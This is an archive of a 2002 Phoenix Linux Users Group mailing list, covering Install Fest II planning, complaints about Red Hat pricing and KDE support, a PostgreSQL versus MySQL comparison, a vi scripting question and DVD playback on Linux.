Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 14:11:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 07:11:31 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> I am a registered user of Red hat. I bought the boxed set for ver 7.2 I downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that is included as part of 7.3 is unstable for Konqueror and Kmail, the two main applications I want to use. KDE released ver 3.1 several weeks ago. I have twice asked Red Hat tech support when it will be available through the up2date. I have been completely and totally ignored by Red Hat support. They have not even acknowledged receiving my question even though it was submitted via a form on the RHN site. In fact the RHN site will not let you log in using Konqueror but does with IE. If Red Hat hates KDE so much, why do they include it in their distros? kde.org itself talks about how Red Hat refuses to support their desktop. If Red Hat is counting on support $'s to stay in business, they have a lot of improving to do. I won't give them another dime till I see some improvement. -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Wednesday, June 26, 2002 8:42 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! RedHat Professional comes with 90 days technical support. It also has all the printed manuals that would cost about $35 separately. (A small story, indirectly related.) I have successfully setup a new CVS server at work using RH7.3, Webmin and CVS, of course. In explaining what I had done and what I am using to do it, our company product manager said, and I quote, "If all that software is free, why are we using it. It is probably crap." This was followed by a brief demonstration of Webmin that left him less "against" the software but still not "for" it. (End of story.) (Another small story) A friend of mine runs a technology related service business. He was getting too much work so he started raising his quotes. He started getting even more work from people that had dropped him before because he was "priced too low to be very good" as they later told him. (End of small story) RedHat, I think, is marketing to the people who think they have to pay for something for it to be any good. And if they are right, and people want to pay for the support and the manuals, they remain a viable company. Some people want to pay lots of money. Would we geeks pay it? Nope. But some of the suits and non-geeks will. RedHat will find out soon enough if the market will pay the price they are asking. Alan On Wed, 26 Jun 2002 12:24:13 -0700 "Richard L. Proctor" wrote: Is it my imagination or does it seem that the worst products always costs more.  ie.  If you want Windows XP you plan on paying $179. for the home version and more for the professional version.  Again with RedHat you have a $79.95 personal or workstation edition and comes with 3 cd's.  Get the professional version for around $199.00 and i'm not sure how many cd's come with it.  Is RedHat trying to compete with Microsoft on who can supply the most expensive product?   Before anyone goes off saying well you can just download the distro and don't have to pay those prices.  I am thinking of the newbies.  I would never hand a newbie 3 cd's and say here ya go.  I would like to have the documentation to go with it.  Of course Redhat and Windows both give you wafer thin manuals.  SuSE and Mandrake give you good size manuals with plenty of information packed in them.  Also SuSE Professional is only $79.95 and comes with 7 cd's and one DVD.  The DVD had everything all 7 cd's have and you don't have to do any disk swaps.   I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat lags far behind the competitors.  Try to install Redhat on a seperate hard disk with Windows XP on the first hard disk in NTFS format,  Redhat won't even make an entry for Windows XP in lilo.  I can imagine the panic attack a newbies face after the redhat install and the only option is Redhat.  LOL  That is of course if you can get Redhat to install in the first place. It don't like being on a second drive or on a partiton with windows that's any larger than 8 gigs.   SuSE has always installed on any drive no matter what the size or what drive since version 7.1 and earlier maybe.  This is a serious issue that Redhat needs to address.   I dunno,  I just don't see how the cost of Redhat boxed distro's is justified.  Maybe i'm missing the point?  Is there anyone out there that can show me the point?   ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 14:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar Narayanasamy) Date: Thu, 27 Jun 2002 07:41:39 -0700 (MST) Subject: =?iso-8859-1?Q?Re:_Crappy_Products_Cost_More!!?= In-Reply-To: <200206262236.18276.krycom1@cox.net> References: <200206262236.18276.krycom1@cox.net> Message-ID: <46631.144.15.249.67.1025188899.squirrel@www.esaravana.com> I use Redhat regularly, but try SuSE, Debian, TurboLinux and others, here and there. I always happened to go back to RedHat. Their manual is up to the point, anything more than that you could always visit them on-line. I always found SuSE manuals too bloated. I used to buy every release of RedHat, but after they upped the prices I have been buying just the alternate releases. They seem to be also doing lot of things with Linux for schools, fighting against M$ and working with corporation like Oracle/IBM/.. in porting their applications to Linux. Sundar > On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: >> > RedHat Professional comes with 90 days technical support. It also >> > has all the printed manuals that would cost about $35 separately. > > What manuals, that's my point. I have the boxed version and the > manual is a 1/4 thick. SuSE and Mandrake have about 2 inches of > manuals. > > >> I had no problems with the price that RH was charging ($50 for boxed >> copy). > > Me either, until they up the price for $79 for boxed copy or $199 for > the server edition. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 15:19:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 27 Jun 2002 08:19:32 -0700 Subject: Install Fest II 0626 Status Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E0C@azmscorp01.corp.azms> Yeah I was wondering what would happen if the installfest was joined with a lanparty? Larry Get linux and frag your friends.. :) -----Original Message----- From: Tom Emerson [mailto:tom@technicaljanitors.com] Sent: Thursday, June 27, 2002 5:58 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install Fest II 0626 Status A handful of first-person-shooter games running wouldn't hurt, 'specially for the "Student Newspaper Oriented Press Releases" crowd? - t On Thu, 27 Jun 2002, Robert Bushman wrote: Pardon the delay, sent this last night with the wrong From: address. ---------- Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 15:51:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 08:51:21 -0700 Subject: Install fest interest generation References: <02062618474610.07972@nova.wedge.org> Message-ID: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> How about advertising the Installfest in the local school systems? The local high schools are probably full of the curious. And students like free:-) It wouldn't take much get the message out to the schools, perhaps posting it in the computer labs. then again, IANAE (I am not an educator) but some on this list are. anthony ----- Original Message ----- From: "Jim" To: Sent: Wednesday, June 26, 2002 6:47 PM Subject: Re: (no subject) > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Install Fests generally attract the curious and the convinced. They are > either convinced that they want to switch to Linux or they are curious. They > are also usually Joe Sixpack types who are getting on the clue train or > geeks-in-training who know that there is a lot of fun under the hood. Not too > many suits show up. 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That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:33:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 27 Jun 2002 09:33:05 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <20020627010103.GO8953@ecloud.org> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> Message-ID: <5.1.0.14.0.20020626203832.025352a0@localhost> In answer.................... At 6/26/02, you wrote: >Isn't there an announce list? If the membership of this list were exposed >to its members (which I see right now it isn't - only the admin can see this) >then you'd basically have an email list. Maybe this could be augmented >with a database which maps the emails to some web links. Every member >could modify this mapping to link the email to a "my involvement with >PLUG" type page, and some software could be set up on the PLUG web >server to optionally host those pages there instead of on members' own >web servers, for those who don't have their own. Your password for your >mailing list membership should be re-used to grant you access to edit >your automatically-created default member page. Sounds like a job for >Zope or something doesn't it? And that's the reason for my two cents or so. That's what Unity Wave does. We have programming that allows for quick duplication of a "template" that is then easily updated by the user rather than the webmaster. I have proposed this kind of programming before. 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Rutledge / KB7PWD ecloud@bigfoot.com > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > __) | | \________________________________________________________________ >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:25:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 09:25:22 -0700 (MST) Subject: Install fest interest generation In-Reply-To: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> Message-ID: High Schools and the Junior/Middle Schools too. Be nice to spark an interest at the Middle School level. Reaching back in memory, middle school, we had access to the County's PDP11 via a decwriter & acoustic coupler. We were Gods! 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That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:45:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 27 Jun 2002 09:45:28 -0700 Subject: scripts in vi Message-ID: <3D1B4128.6020607@ttiltd.com> I would like to know how to execute scripts in vi. Can someone help me with this? For example a script that would insert a date into a document. Greg From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 16:48:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Thu, 27 Jun 2002 09:48:30 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> Message-ID: <000901c21dfa$779072e0$0e02a8c0@krycom> Yea I have noticed that the default desktop is Gnome and KDE is unchecked during install. ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 7:11 AM Subject: RE: Crappy Products Cost More!! > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that is included as part of 7.3 is unstable for Konqueror and Kmail, the two main applications I want to use. KDE released ver 3.1 several weeks ago. I have twice asked Red Hat tech support when it will be available through the up2date. I have been completely and totally ignored by Red Hat support. They have not even acknowledged receiving my question even though it was submitted via a form on the RHN site. In fact the RHN site will not let you log in using Konqueror but does with IE. If Red Hat hates KDE so much, why do they include it in their distros? kde.org itself talks about how Red Hat refuses to support their desktop. > > If Red Hat is counting on support $'s to stay in business, they have a lot of improving to do. I won't give them another dime till I see some improvement. > > -----Original Message----- > From: alandd@mindspring.com [mailto:alandd@mindspring.com] > Sent: Wednesday, June 26, 2002 8:42 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > > RedHat Professional comes with 90 days technical support. It also has all the > printed manuals that would cost about $35 separately. > > (A small story, indirectly related.) > I have successfully setup a new CVS server at work using RH7.3, Webmin and > CVS, of course. In explaining what I had done and what I am using to do it, > our company product manager said, and I quote, "If all that software is free, > why are we using it. It is probably crap." This was followed by a brief > demonstration of Webmin that left him less "against" the software but still > not "for" it. > (End of story.) > > (Another small story) > A friend of mine runs a technology related service business. He was getting > too much work so he started raising his quotes. He started getting even more > work from people that had dropped him before because he was "priced too low to > be very good" as they later told him. > (End of small story) > > RedHat, I think, is marketing to the people who think they have to pay for > something for it to be any good. And if they are right, and people want to > pay for the support and the manuals, they remain a viable company. > > Some people want to pay lots of money. Would we geeks pay it? Nope. But > some of the suits and non-geeks will. RedHat will find out soon enough if the > market will pay the price they are asking. > > Alan > > On Wed, 26 Jun 2002 12:24:13 -0700 "Richard L. Proctor" > wrote: > > Is it my imagination or does it seem that the worst > products always costs more. ie. If you want Windows XP you plan on > paying $179. for the home version and more for the professional version. > Again with RedHat you have a $79.95 personal or workstation edition and comes > > with 3 cd's. Get the professional version for around $199.00 and i'm not > sure how many cd's come with it. Is RedHat trying to compete with > Microsoft on who can supply the most expensive product? > > Before anyone goes off saying well you can just > download the distro and don't have to pay those prices. I am thinking of > the newbies. I would never hand a newbie 3 cd's and say here ya go. > I would like to have the documentation to go with it. Of course Redhat and > Windows both give you wafer thin manuals. SuSE and Mandrake give you good > size manuals with plenty of information packed in them. Also SuSE > Professional is only $79.95 and comes with 7 cd's and one DVD. The DVD had > everything all 7 cd's have and you don't have to do any disk swaps. > > I have worked with Redhat, Mandrake, and SuSE and > it seems that Redhat lags far behind the competitors. Try to install > Redhat on a seperate hard disk with Windows XP on the first hard disk in NTFS > > format, Redhat won't even make an entry for Windows XP in lilo. I > can imagine the panic attack a newbies face after the redhat install and the > only option is Redhat. LOL That is of course if you can get Redhat > to install in the first place. It don't like being on a second drive or on a > partiton with windows that's any larger than 8 gigs. > > SuSE has always installed on any drive no matter > what the size or what drive since version 7.1 and earlier maybe. > This is a serious issue that Redhat needs to address. > > I dunno, I just don't see how the cost of > Redhat boxed distro's is justified. Maybe i'm missing the point? Is > there anyone out there that can show me the point? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:00:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 27 Jun 2002 10:00:04 -0700 Subject: Install fest interest generation In-Reply-To: References: Message-ID: <1025197204.12852.8.camel@bryceco1> That's when I got interested in Linux. The 6th grade (first year of middle school). From that became 9 different computers all running Linux. Thanks Mr. G. Green, wherever you are. On Thu, 2002-06-27 at 09:25, Tom Emerson wrote: > High Schools and the Junior/Middle Schools too. Be nice to spark an > interest at the Middle School level. > > Reaching back in memory, middle school, we had access to the County's > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > school, and punch cards, what a let-down.) My son's computer education > isn't too bad, but is limited to very basic office app's (M$). Next > upgrade of hardware, dude's getting a Suse (current box is a souped up > '486 with w'95, I dread attempting a modern X on it and it's 14" > monitor). > > Anyway, back from memory lane, geeks & engineers are born, not made, > there _will_ be an interest at the middle school level. > > - tom e. > ---------- > > On Thu, 27 Jun 2002, tickticker wrote: > > How about advertising the Installfest in the local school systems? The > local high schools are probably full of the curious. And students like > free:-) > > It wouldn't take much get the message out to the schools, perhaps posting it > in the computer labs. then again, IANAE (I am not an educator) but some on > this list are. > > anthony > > ----- Original Message ----- > From: "Jim" > To: > Sent: Wednesday, June 26, 2002 6:47 PM > Subject: Re: (no subject) > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Install Fests generally attract the curious and the convinced. They are > > either convinced that they want to switch to Linux or they are curious. > They > > are also usually Joe Sixpack types who are getting on the clue train or > > geeks-in-training who know that there is a lot of fun under the hood. Not > too > > many suits show up. That is another project in itself. > > > > If we could wangle out way into one of the many computer shows at the > Civic > > Plaza, those suits and their minions do like to be impressed by the power, > > stability, and performance of the kinds of apps that they license and use > on > > a daily basis > > > > On Wednesday 26 June 2002 18:05, you wrote: > > >
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Enter into colon : mode (also know as 'ed' mode) and execute the 'r'ead command followed by ! and then a command-line. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:33:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 00:33:45 -0400 (EDT) Subject: Install Fest II 0626 Status Message-ID: All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:16:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Chris Cowan) Date: Tue, 25 Jun 2002 10:16:44 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> Message-ID: <20020625171645.72D3950C005@hydra.ctprm.com> For the record, I agree with Joel. Chris Cowan Chief Hybrid UberMonkey Centralized Institute for Applied Neuroinformatics On Tuesday 25 June 2002 08:11 am, you wrote: > In my opinion the speed difference between PostgreSQL and MySQL is > negligible. Tim Perdue from SourceForge did a study a while back > demonstrating that the newer PostgreSQL was actually faster than MySQL in > some cases. Trigger and PL support in PGSQL is very nice and I have never > been let down by PostgreSQL. PostgreSQL is the foundational database for > all of my Genomics research projects. I am transparently bias on the > subject because I have been burned by MySQL a few times so take that into > consideration. A replication daemon for PostgreSQL is also coming along > nicely. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ > > > -----Original Message----- > From: William Lindley [mailto:wlindley@wlindley.com] > Sent: Monday, June 24, 2002 9:13 PM > To: Phoenix Linux Users Group > Subject: Re: PostgreSQL versus MySQL (fwd) > > > In response to the earlier question, Scott Walters > who is not on the PLUG list writes: > > -------- > > PostgreSQL supports triggers, constraints, PL, subqueries, and serveral > other things. > > MySQL supports replication, precompiled queries (huge speed up on resident > code), and is optimized for throughput in addition to speed. > > Both of them are very fast, and out perform almost all commercial > databases, hands down. > > I wouldn't sweat it too much either way unless you specificly need a > feature that only one or the other has. They are both excellent systems. > > I'd use MySQL where speed was the biggist factor. > > I'd use Postgres where complex reporting or building a large > ("Enterprise") data warehouse was the concern. > > -scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:24:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Wed, 26 Jun 2002 10:24:43 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D19F8DB.7070009@rogersdirect.com> Are you able to play Region 1 DVD's? I am only able to play region free DVD's on Mandrake 8.2 bob smith wrote: >Hello Kyle, Welcome aboard. > > > >>Anyways, I'd like to extend my thanks to everyone in >>and running this >>group; You guys really do a stellar job. >> >> >> > > > >>-Kyle >>Linux: It's a good thing. >> >> >Don't forget Tux's pitchfork toting cousin :). I just >got perfect dvd playback in freebsd which is something >I never could accomplish in Linux (My own fault though >I would assume since I'm using the linux modules to do >this). Just out of curiosity was there any mention of >FreeBSD at the latest installfest? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:16:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 12:16:28 -0700 Subject: Crappy Products cost more. Message-ID: <000e01c21d45$fcc8c440$0e02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C21D0B.4C6D1C20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is it my imagination or does it seem that the worst products always = costs more. ie. If you want Windows XP you plan on paying $179. for = the home version and more for the professional version. Again with = RedHat you have a $79.95 personal or workstation edition and comes with = 3 cd's. Get the professional version for around $199.00 and i'm not = sure how many cd's come with it. Is RedHat trying to compete with = Microsoft on who can supply the most expensive product? Before anyone goes off saying well you can just download the distro and = don't have to pay those prices. I am thinking of the newbies. I would = never hand a newbie 3 cd's and say here ya go. I would like to have the = documentation to go with it. Of course Redhat and Windows both give you = wafer thin manuals. SuSE and Mandrake give you good size manuals with = plenty of information packed in them. Also SuSE Professional is only = $79.95 and comes with 7 cd's and one DVD. The DVD had everything all 7 = cd's have and you don't have to do any disk swaps. I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat = lags far behind the competitors. Try to install Redhat on a seperate = hard disk with Windows XP on the first hard disk in NTFS format, Redhat = won't even make an entry for Windows XP in lilo. I can imagine the = panic attack a newbies face after the redhat install and the only option = is Redhat. LOL That is of course if you can get Redhat to install in = the first place. It don't like being on a second drive or on a partiton = with windows that's any larger than 8 gigs. SuSE has always installed on any drive no matter what the size or what = drive since version 7.1 and earlier maybe. This is a serious issue that = Redhat needs to address. I dunno, I just don't see how the cost of Redhat boxed distro's is = justified. Maybe i'm missing the point? Is there anyone out there that = can show me the point? ------=_NextPart_000_0009_01C21D0B.4C6D1C20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is it my imagination or does it seem = that the worst=20 products always costs more.  ie.  If you want Windows XP you = plan on=20 paying $179. for the home version and more for the professional = version. =20 Again with RedHat you have a $79.95 personal or workstation edition and = comes=20 with 3 cd's.  Get the professional version for around $199.00 and = i'm not=20 sure how many cd's come with it.  Is RedHat trying to compete with=20 Microsoft on who can supply the most expensive product?
 
Before anyone goes off saying well you = can just=20 download the distro and don't have to pay those prices.  I am = thinking of=20 the newbies.  I would never hand a newbie 3 cd's and say here ya = go. =20 I would like to have the documentation to go with it.  Of course = Redhat and=20 Windows both give you wafer thin manuals.  SuSE and Mandrake give = you good=20 size manuals with plenty of information packed in them.  Also SuSE=20 Professional is only $79.95 and comes with 7 cd's and one DVD.  The = DVD had=20 everything all 7 cd's have and you don't have to do any disk = swaps.
 
